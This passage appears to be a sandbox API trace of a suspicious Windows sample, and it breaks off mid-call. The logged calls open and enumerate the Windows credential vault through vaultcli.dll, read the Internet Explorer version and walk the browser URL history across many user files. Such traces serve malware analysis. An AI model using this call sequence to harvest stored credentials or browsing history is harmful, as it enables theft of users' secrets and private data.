LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x734f0000 [0057.734] GetProcAddress (hModule=0x734f0000, lpProcName="VaultOpenVault") returned 0x734f26a9 [0057.734] GetProcAddress (hModule=0x734f0000, lpProcName="VaultEnumerateItems") returned 0x734f3099 [0057.734] GetProcAddress (hModule=0x734f0000, lpProcName="VaultGetItem") returned 0x734f3242 [0057.734] VaultOpenVault () returned 0x0 [0058.427] VaultEnumerateItems () returned 0x0 [0058.427] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e5c8 | out: phkResult=0x18e5c8*=0x3bc) returned 0x0 [0058.427] RegQueryValueExW (in: hKey=0x3bc, lpValueName="Version", lpReserved=0x0, lpType=0x18e5d0, lpData=0x18e3c8, lpcbData=0x18e5cc*=0xfe | out: lpType=0x18e5d0*=0x1, lpData="8.0.7601.17514", lpcbData=0x18e5cc*=0x1e) returned 0x0 [0058.428] RegCloseKey (hKey=0x80000002) returned 0x0 [0058.428] OleInitialize (pvReserved=0x0) returned 0x0 [0058.445] CoCreateInstance (in: rclsid=0x41b0dc*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x40a4cc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e5ac | out: ppv=0x18e5ac*=0x6beb90) returned 0x0 [0059.820] IUnknown:QueryInterface (in: This=0x6beb90, riid=0x40a63c*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x18e588 | out: ppvObject=0x18e588*=0x6beb90) returned 0x0 [0059.821] IUrlHistoryStg:EnumUrls (in: This=0x6beb90, ppenum=0x18e5e0 | out: ppenum=0x18e5e0*=0x6c4238) returned 0x0 [0059.845] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/fyO-_3.bmp", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/fyO-_3.bmpr", lpUsedDefaultChar=0x0) returned 66 [0059.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=66, lpWideCharStr=0x3bcc6f4, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/fyO-_3.bmp\x8c") returned 66 [0059.845] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/nf3YcZ%20LLVZ7%208gtH.gif", cchWideChar=96, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/nf3YcZ%20LLVZ7%208gtH.gif7bnh_OS/Se5hmDr0IOl8/nf3YcZ%20LLVZ7%208gtH.gif", lpUsedDefaultChar=0x0) returned 96 [0059.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc368, cbMultiByte=96, lpWideCharStr=0x3bcd3a4, cchWideChar=193 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/nf3YcZ%20LLVZ7%208gtH.gifÈ") returned 96 [0059.846] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/u8%20nslHY.gif", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/u8%20nslHY.gifX7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/u8%20nslHY.gif", lpUsedDefaultChar=0x0) returned 95 [0059.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a08d4, cbMultiByte=95, lpWideCharStr=0x3bcd2b8, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/u8%20nslHY.gif") returned 95 [0059.846] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/PnL6Zh.flv", cchWideChar=58, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/PnL6Zh.flvsers/5p5NrGJn0jS%20HALPmcxz/Desktop/PnL6Zh.flv", lpUsedDefaultChar=0x0) returned 58 [0059.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a095c, cbMultiByte=58, lpWideCharStr=0x42a099c, cchWideChar=117 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/PnL6Zh.flv,") returned 58 [0059.846] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/befSSIGEkkRUG.png", cchWideChar=115, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/befSSIGEkkRUG.png", lpUsedDefaultChar=0x0) returned 115 [0059.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc514, cbMultiByte=115, lpWideCharStr=0x3bcdd00, cchWideChar=231 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/befSSIGEkkRUG.png") returned 115 [0059.854] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/JIZ4scK0VOvc.jpg", cchWideChar=64, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/JIZ4scK0VOvc.jpgp5NrGJn0jS%20HALPmcxz/Desktop/JIZ4scK0VOvc.jpg", lpUsedDefaultChar=0x0) returned 64 [0059.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=64, lpWideCharStr=0x3bcc650, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/JIZ4scK0VOvc.jpg\x88") returned 64 [0059.854] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/L7nPtbAUFXsB.xlsx", cchWideChar=67, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/L7nPtbAUFXsB.xlsxrGJn0jS%20HALPmcxz/Documents/L7nPtbAUFXsB.xlsx", lpUsedDefaultChar=0x0) returned 67 [0059.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0a48, cbMultiByte=67, lpWideCharStr=0x42a0a90, cchWideChar=135 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/L7nPtbAUFXsB.xlsx열AԬR㓤") returned 67 [0059.854] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/E_g7Iz0.flv", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/E_g7Iz0.flvers/5p5NrGJn0jS%20HALPmcxz/Desktop/E_g7Iz0.flv", lpUsedDefaultChar=0x0) returned 59 [0059.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b50, cbMultiByte=59, lpWideCharStr=0x42a0b90, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/E_g7Iz0.flv") returned 59 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/wKt8pNbMIBpNV1.docx", cchWideChar=69, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/wKt8pNbMIBpNV1.docxJn0jS%20HALPmcxz/Documents/wKt8pNbMIBpNV1.docx", lpUsedDefaultChar=0x0) returned 69 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=69, lpWideCharStr=0x3bcc7a0, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/wKt8pNbMIBpNV1.docx") returned 69 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_i_MHuX.xlsx", cchWideChar=62, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_i_MHuX.xlsx/5p5NrGJn0jS%20HALPmcxz/Documents/_i_MHuX.xlsx", lpUsedDefaultChar=0x0) returned 62 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0c48, cbMultiByte=62, lpWideCharStr=0x3bcc5ac, cchWideChar=125 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_i_MHuX.xlsx\x84") returned 62 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Y%203UOe.gif", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Y%203UOe.gifGJn0jS%20HALPmcxz/AppData/Roaming/Y%203UOe.gif", lpUsedDefaultChar=0x0) returned 68 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=68, lpWideCharStr=0x42a0cc4, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Y%203UOe.gif⸰摰열AԬR㊬") returned 68 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/S5Y2z-QfT_jhbg-.doc", cchWideChar=82, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/S5Y2z-QfT_jhbg-.doccxz/Documents/OstAGQ_x8J4h/S5Y2z-QfT_jhbg-.doc", lpUsedDefaultChar=0x0) returned 82 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=82, lpWideCharStr=0x3bccd48, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/S5Y2z-QfT_jhbg-.doc¬") returned 82 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/XECTs3JItZ.pps", cchWideChar=84, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/XECTs3JItZ.ppsz/Desktop/k%208cyI7PkJoZDNg%20M/XECTs3JItZ.pps", lpUsedDefaultChar=0x0) returned 84 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0d9c, cbMultiByte=84, lpWideCharStr=0x3bcce24, cchWideChar=169 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/XECTs3JItZ.pps°") returned 84 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/VW61dc17V6x.pdf", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/VW61dc17V6x.pdf5NrGJn0jS%20HALPmcxz/Documents/VW61dc17V6x.pdf", lpUsedDefaultChar=0x0) returned 65 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=65, lpWideCharStr=0x42a0e3c, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/VW61dc17V6x.pdf湯열AԬRㄼ") returned 65 [0059.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/vRok2UtD99B94w3KRv.rtf", cchWideChar=102, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/vRok2UtD99B94w3KRv.rtf_x8J4h/GYsSjG-g6A%20Jpf/vRok2UtD99B94w3KRv.rtf", lpUsedDefaultChar=0x0) returned 102 [0059.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b24, cbMultiByte=102, lpWideCharStr=0x3bcd69c, cchWideChar=205 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/vRok2UtD99B94w3KRv.rtfÔ") returned 102 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/oi4vBDUC.doc", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/oi4vBDUC.docGJn0jS%20HALPmcxz/AppData/Roaming/oi4vBDUC.doc", lpUsedDefaultChar=0x0) returned 68 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=68, lpWideCharStr=0x42a0f10, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/oi4vBDUC.doc") returned 68 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/kei5.docx", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/kei5.docxers/5p5NrGJn0jS%20HALPmcxz/Documents/kei5.docx", lpUsedDefaultChar=0x0) returned 59 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0fa8, cbMultiByte=59, lpWideCharStr=0x42a0fe8, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/kei5.docx") returned 59 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/JEJWIo1Dz%202x.png", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/JEJWIo1Dz%202x.png%20HALPmcxz/AppData/Roaming/JEJWIo1Dz%202x.png", lpUsedDefaultChar=0x0) returned 74 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a106c, cbMultiByte=74, lpWideCharStr=0x3bcc9f4, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/JEJWIo1Dz%202x.png\x9c") returned 74 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/XSVP9deEn8lAX%20Ja.ppt", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/XSVP9deEn8lAX%20Ja.pptjS%20HALPmcxz/Documents/XSVP9deEn8lAX%20Ja.ppt", lpUsedDefaultChar=0x0) returned 72 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a111c, cbMultiByte=72, lpWideCharStr=0x3bcc930, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/XSVP9deEn8lAX%20Ja.ppt\x98") returned 72 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/4L6Z/OwRMCKP7D2.mkv", cchWideChar=87, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/4L6Z/OwRMCKP7D2.mkvideos/y9ZmZISZtA8fIYtTxfZp/4L6Z/OwRMCKP7D2.mkv", lpUsedDefaultChar=0x0) returned 87 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a11d0, cbMultiByte=87, lpWideCharStr=0x3bccf04, cchWideChar=175 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/4L6Z/OwRMCKP7D2.mkv") returned 87 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/bv9GJsGpfm.odt", cchWideChar=94, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/bv9GJsGpfm.odts/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/bv9GJsGpfm.odt", lpUsedDefaultChar=0x0) returned 94 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1234, cbMultiByte=94, lpWideCharStr=0x42a1298, cchWideChar=189 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/bv9GJsGpfm.odt猀 열AԬRⲤ") returned 94 [0059.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/ibDIs1r6-ndxi.gif", cchWideChar=73, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/ibDIs1r6-ndxi.gifS%20HALPmcxz/AppData/Roaming/ibDIs1r6-ndxi.gif", lpUsedDefaultChar=0x0) returned 73 [0059.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a13c8, cbMultiByte=73, lpWideCharStr=0x42a1418, cchWideChar=147 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/ibDIs1r6-ndxi.gif") returned 73 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/qp8C/Ik6r7vA49Vf_2LVqLE.flv", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/qp8C/Ik6r7vA49Vf_2LVqLE.flvZmZISZtA8fIYtTxfZp/qp8C/Ik6r7vA49Vf_2LVqLE.flv", lpUsedDefaultChar=0x0) returned 95 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1520, cbMultiByte=95, lpWideCharStr=0x42a1584, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/qp8C/Ik6r7vA49Vf_2LVqLE.flv؜열AԬR⦸") returned 95 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/PxpzY_JBUc8.ppt", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/PxpzY_JBUc8.ppt5NrGJn0jS%20HALPmcxz/Documents/PxpzY_JBUc8.ppt", lpUsedDefaultChar=0x0) returned 65 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=65, lpWideCharStr=0x42a16b4, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/PxpzY_JBUc8.ppt탁열AԬR⣄") returned 65 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/wYQXyL4TNJyXDwt.xls", cchWideChar=89, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/wYQXyL4TNJyXDwt.xlsktop/k%208cyI7PkJoZDNg%20M/wYQXyL4TNJyXDwt.xls", lpUsedDefaultChar=0x0) returned 89 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=89, lpWideCharStr=0x3bccfe8, cchWideChar=179 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/wYQXyL4TNJyXDwt.xls") returned 89 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/iLHPbBavnh_-fnnaZkXR.flv", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/iLHPbBavnh_-fnnaZkXR.flv0jS%20HALPmcxz/Videos/iLHPbBavnh_-fnnaZkXR.flv", lpUsedDefaultChar=0x0) returned 71 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=71, lpWideCharStr=0x3bcc864, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/iLHPbBavnh_-fnnaZkXR.flv") returned 71 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/plaRW1HX88.gif", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/plaRW1HX88.gifn0jS%20HALPmcxz/AppData/Roaming/plaRW1HX88.gif", lpUsedDefaultChar=0x0) returned 70 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=70, lpWideCharStr=0x42a1790, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/plaRW1HX88.gif灆열AԬR⟜") returned 70 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/DavXsI9enkQSR.pptx", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/DavXsI9enkQSR.pptxGJn0jS%20HALPmcxz/Documents/DavXsI9enkQSR.pptx", lpUsedDefaultChar=0x0) returned 68 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=68, lpWideCharStr=0x42a18a0, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/DavXsI9enkQSR.pptx열AԬR⛐") returned 68 [0059.857] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OwRe9Z9bAXQhesUnEazF.doc", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OwRe9Z9bAXQhesUnEazF.doc%20HALPmcxz/Documents/OwRe9Z9bAXQhesUnEazF.doc", lpUsedDefaultChar=0x0) returned 74 [0059.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1938, cbMultiByte=74, lpWideCharStr=0x42a1988, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OwRe9Z9bAXQhesUnEazF.doc옣镟열AԬR◜") returned 74 [0059.858] WideCharToMultiByte (in: CodePage=0x3, 